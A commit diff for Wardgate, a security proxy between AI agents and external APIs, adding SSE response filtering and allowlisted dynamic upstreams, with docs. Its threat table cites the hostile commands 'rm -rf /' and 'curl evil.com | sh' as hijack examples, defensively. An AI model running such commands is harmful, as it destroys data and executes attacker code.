feat: Add SSE stream filtering and dynamic upstream support

.gitignore

@@ -9,6 +9,8 @@ grants.json
 /wardgate-exec
 /config/
 
+CLAUDE.md
+
 # Zensical
 /site/
 .venv

README.md

@@ -60,7 +60,8 @@ flowchart LR
 - **Access Control** -- Define what each agent can do: read-only calendar, no email deletion, ask before sending
 - **Presets** -- Pre-configured settings for popular APIs (Todoist, GitHub, Cloudflare, Google Calendar, Postmark, Sentry, IMAP, SMTP, and more)
 - **Protocol Adapters** -- HTTP/REST passthrough, SSH, IMAP and SMTP with REST wrappers
-- **Sensitive Data Filtering** -- Automatically block or redact OTP codes, verification links, and API keys in responses
+- **Sensitive Data Filtering** -- Automatically block or redact OTP codes, verification links, and API keys in responses, including SSE streams (per-message filtering for LLM APIs)
+- **Dynamic Upstreams** -- Agents select targets per-request from a validated allowlist of glob patterns (e.g., `https://*.googleapis.com`)
 
 ### Conclaves (Remote Execution)
 

cmd/wardgate/main.go

@@ -19,6 +19,7 @@ import (
 	"github.com/wardgate/wardgate/internal/config"
 	"github.com/wardgate/wardgate/internal/discovery"
 	execpkg "github.com/wardgate/wardgate/internal/exec"
+	"github.com/wardgate/wardgate/internal/filter"
 	"github.com/wardgate/wardgate/internal/grants"
 	"github.com/wardgate/wardgate/internal/hub"
 	"github.com/wardgate/wardgate/internal/imap"
@@ -291,8 +292,24 @@ func main() {
 				}
 				p.SetAllowedSealHeaders(allowedHeaders)
 			}
+			// Wire filter for HTTP endpoints
+			if f, err := buildEndpointFilter(cfg, endpoint); err != nil {
+				log.Fatalf("Failed to build filter for endpoint %s: %v", name, err)
+			} else if f != nil {
+				p.SetFilter(f)
+			}
+			// Wire endpoint timeout
+			if endpoint.Timeout != "" {
+				if d, err := time.ParseDuration(endpoint.Timeout); err == nil {
+					p.SetTimeout(d)
+				}
+			}
 			h = auditMiddleware(auditLog, name, p)
-			log.Printf("Registered HTTP endpoint: /%s/ -> %s", name, endpoint.Upstream)
+			target := endpoint.Upstream
+			if target == "" {
+				target = fmt.Sprintf("dynamic(%d patterns)", len(endpoint.AllowedUpstreams))
+			}
+			log.Printf("Registered HTTP endpoint: /%s/ -> %s", name, target)
 		}
 
 		// Wrap with agent scope middleware if endpoint has agents restriction
@@ -307,11 +324,13 @@ func main() {
 	endpointInfos := make([]discovery.EndpointInfo, 0, len(cfg.Endpoints))
 	for name, endpoint := range cfg.Endpoints {
 		endpointInfos = append(endpointInfos, discovery.EndpointInfo{
-			Name:        name,
-			Description: cfg.GetEndpointDescription(name, endpoint),
-			Upstream:    endpoint.Upstream,
-			DocsURL:     endpoint.DocsURL,
-			Agents:      endpoint.Agents,
+			Name:             name,
+			Description:      cfg.GetEndpointDescription(name, endpoint),
+			Upstream:         endpoint.Upstream,
+			AllowedUpstreams: endpoint.AllowedUpstreams,
+			Dynamic:          len(endpoint.AllowedUpstreams) > 0,
+			DocsURL:          endpoint.DocsURL,
+			Agents:           endpoint.Agents,
 		})
 	}
 
@@ -403,6 +422,8 @@ func agentScopeMiddleware(agents []string, next http.Handler) http.Handler {
 func auditMiddleware(logger *audit.Logger, endpoint string, next http.Handler) http.Handler {
 	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		start := time.Now()
+		// Capture dynamic upstream header before proxy strips it
+		upstream := r.Header.Get("X-Wardgate-Upstream")
 		rw := &responseWriter{ResponseWriter: w, status: http.StatusOK}
 
 		next.ServeHTTP(rw, r)
@@ -412,6 +433,7 @@ func auditMiddleware(logger *audit.Logger, endpoint string, next http.Handler) h
 			Endpoint:       endpoint,
 			Method:         r.Method,
 			Path:           r.URL.Path,
+			Upstream:       upstream,
 			SourceIP:       r.RemoteAddr,
 			AgentID:        r.Header.Get("X-Agent-ID"),
 			Decision:       decisionFromStatus(rw.status),
@@ -439,6 +461,13 @@ func (rw *responseWriter) Write(b []byte) (int, error) {
 	return n, err
 }
 
+// Flush implements http.Flusher, required for SSE streaming through the audit middleware.
+func (rw *responseWriter) Flush() {
+	if f, ok := rw.ResponseWriter.(http.Flusher); ok {
+		f.Flush()
+	}
+}
+
 func decisionFromStatus(status int) string {
 	switch {
 	case status == http.StatusForbidden:
@@ -452,6 +481,38 @@ func decisionFromStatus(status int) string {
 	}
 }
 
+// buildEndpointFilter creates a filter for an HTTP endpoint, merging filter_defaults with endpoint-specific settings.
+// Returns nil if no filter config is present.
+func buildEndpointFilter(cfg *config.Config, ep config.Endpoint) (*filter.Filter, error) {
+	fc := ep.Filter
+	if fc == nil {
+		fc = cfg.FilterDefaults
+	}
+	if fc == nil {
+		return nil, nil
+	}
+
+	enabled := true
+	if fc.Enabled != nil {
+		enabled = *fc.Enabled
+	}
+
+	filterCfg := filter.Config{
+		Enabled:     enabled,
+		Patterns:    fc.Patterns,
+		Action:      filter.ParseAction(fc.Action),
+		Replacement: fc.Replacement,
+		SSEMode:     fc.SSEMode,
+	}
+	for _, cp := range fc.CustomPatterns {
+		filterCfg.CustomPatterns = append(filterCfg.CustomPatterns, filter.CustomPattern{
+			Name:    cp.Name,
+			Pattern: cp.Pattern,
+		})
+	}
+	return filter.New(filterCfg)
+}
+
 // parseIMAPUpstream parses IMAP connection config from endpoint settings.
 // Upstream format: imaps://imap.example.com:993 or imap://imap.example.com:143
 func parseIMAPUpstream(endpoint config.Endpoint, vault auth.Vault) (imap.ConnectionConfig, error) {

config.yaml.example

@@ -282,6 +282,47 @@ endpoints:
   #     - match: { method: "*" }
   #       action: deny
 
+  # ---------------------------------------------------------------------------
+  # DYNAMIC UPSTREAMS (agent chooses target per-request)
+  # ---------------------------------------------------------------------------
+  # The agent sets X-Wardgate-Upstream header; Wardgate validates against the
+  # allowed_upstreams glob patterns. Useful for multi-host APIs (e.g., Google).
+  # See docs/config.md#dynamic-upstreams for details.
+
+  # google-apis:
+  #   allowed_upstreams:
+  #     - "https://*.googleapis.com"
+  #   auth:
+  #     type: bearer
+  #     credential_env: WARDGATE_CRED_GOOGLE
+  #   rules:
+  #     - match: { method: GET }
+  #       action: allow
+  #     - match: { method: "*" }
+  #       action: deny
+
+  # ---------------------------------------------------------------------------
+  # LLM API with SSE streaming filter
+  # ---------------------------------------------------------------------------
+  # SSE streams (text/event-stream) are filtered per-message in real time.
+  # Set sse_mode: passthrough to skip filtering on trusted SSE endpoints.
+
+  # openai:
+  #   upstream: https://api.openai.com/v1
+  #   auth:
+  #     type: bearer
+  #     credential_env: WARDGATE_CRED_OPENAI
+  #   filter:
+  #     enabled: true
+  #     patterns: [api_keys]
+  #     action: redact
+  #     sse_mode: filter  # "filter" (default) or "passthrough"
+  #   rules:
+  #     - match: { method: POST, path: "/chat/completions" }
+  #       action: allow
+  #     - match: { method: "*" }
+  #       action: deny
+
   # ---------------------------------------------------------------------------
   # IMAP (email reading) - using preset
   # ---------------------------------------------------------------------------

docs/architecture.md

@@ -23,7 +23,9 @@ Wardgate is a security proxy that sits between AI agents and external services.
 | Prompt injection attacks | Agent can only perform allowed actions |
 | Rogue agent behavior | All requests logged and rate-limited |
 | Data exfiltration | Policies restrict what data can be accessed |
+| Sensitive data in responses | Response filtering blocks or redacts OTP codes, API keys, etc. -- including SSE streams |
 | Accidental destructive actions | Require approval for sensitive operations or block them |
+| SSRF via dynamic upstreams | Agent-provided upstream URLs validated against allowlist with scheme, host, and path checks |
 | Tool call hijacking (e.g., `rm -rf /`, `curl evil.com \| sh`) | Conclaves isolate execution and evaluate each command against policy |
 
 ### What We Don't Protect Against
@@ -52,6 +54,8 @@ Multiple layers protect your credentials:
 │  • Validates agent identity                     │
 │  • Evaluates policy rules                       │
 │  • Rate limits requests                         │
+│  • Validates dynamic upstream targets           │
+│  • Filters sensitive data from responses/SSE    │
 │  • Logs everything                              │
 └────────────────────┬────────────────────────────┘
                      │ Wardgate injects real credentials
@@ -69,6 +73,8 @@ Agents only get access to what they need:
 - Restrict methods (GET only, no DELETE)
 - Limit paths (only `/tasks`, not `/admin`)
 - Time-bound access (business hours only)
+- Dynamic upstreams limited to allowlisted host patterns
+- Response filtering removes sensitive data before it reaches the agent
 
 ### 3. Explicit Over Implicit
 
@@ -117,13 +123,27 @@ Credentials never leave the gateway:
    │ ──► Under limit, proceed                    │
    └─────────────────────────────────────────────┘
 
-5. Inject credentials and forward
+5. Resolve upstream target
+   ┌─────────────────────────────────────────────┐
+   │ Static upstream from config?       ──► Yes  │
+   │ Or: X-Wardgate-Upstream header?             │
+   │   Validate against allowed_upstreams globs  │
+   └─────────────────────────────────────────────┘
+
+6. Inject credentials and forward
    ┌─────────────────────────────────────────────┐
    │ GET https://api.todoist.com/rest/v2/tasks   │
    │ Authorization: Bearer <real-api-key>        │
    └─────────────────────────────────────────────┘
 
-6. Log and return response
+7. Filter response and return
+   ┌─────────────────────────────────────────────┐
+   │ Scan for sensitive data (OTPs, API keys)    │
+   │ SSE streams: filter per-message in realtime │
+   │ Action: block, redact, or pass through      │
+   └─────────────────────────────────────────────┘
+
+8. Log
    ┌─────────────────────────────────────────────┐
    │ Log: agent=myagent endpoint=todoist-api     │
    │       method=GET path=/tasks decision=allow │